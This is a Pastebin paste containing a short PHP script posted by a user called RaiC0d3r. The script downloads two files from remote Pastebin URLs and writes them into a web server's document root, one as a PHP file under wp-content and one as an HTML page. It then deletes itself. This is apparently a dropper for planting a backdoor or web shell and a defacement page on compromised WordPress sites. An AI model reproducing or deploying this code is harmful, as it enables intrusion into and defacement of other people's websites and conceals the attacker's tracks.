Advertisement
RaiC0d3r

Untitled

Apr 18th, 2018
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. RaiC0d3r
  2. <?php
  3. function http_get($url){
  4. $im = curl_init($url);
  5. curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  6. curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  7. curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  8. curl_setopt($im, CURLOPT_HEADER, 0);
  9. return curl_exec($im);
  10. curl_close($im);
  11. }
  12. $check = $_SERVER['DOCUMENT_ROOT'] . "/wp-content/RaiC0d3r.php" ;
  13. $text = http_get('https://pastebin.com/raw/k8BDpcY1');
  14. $open = fopen($check, 'w');
  15. fwrite($open, $text);
  16. fclose($open);
  17. if(file_exists($check)){
  18. echo $check."</br>";
  19. }else
  20. echo "not exits";
  21. echo "done .\n " ;
  22.  
  23. $check2 = $_SERVER['DOCUMENT_ROOT'] . "/RaiC0d3r.htm" ;
  24. $text2 = http_get('https://pastebin.com/raw/1z7wYcxA');
  25. $open2 = fopen($check2, 'w');
  26. fwrite($open2, $text2);
  27. fclose($open2);
  28. if(file_exists($check2)){
  29. echo $check2."</br>";
  30. }else
  31. echo "not exits";
  32. echo "done .\n " ;
  33.  
  34. @unlink(__FILE__);
  35. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement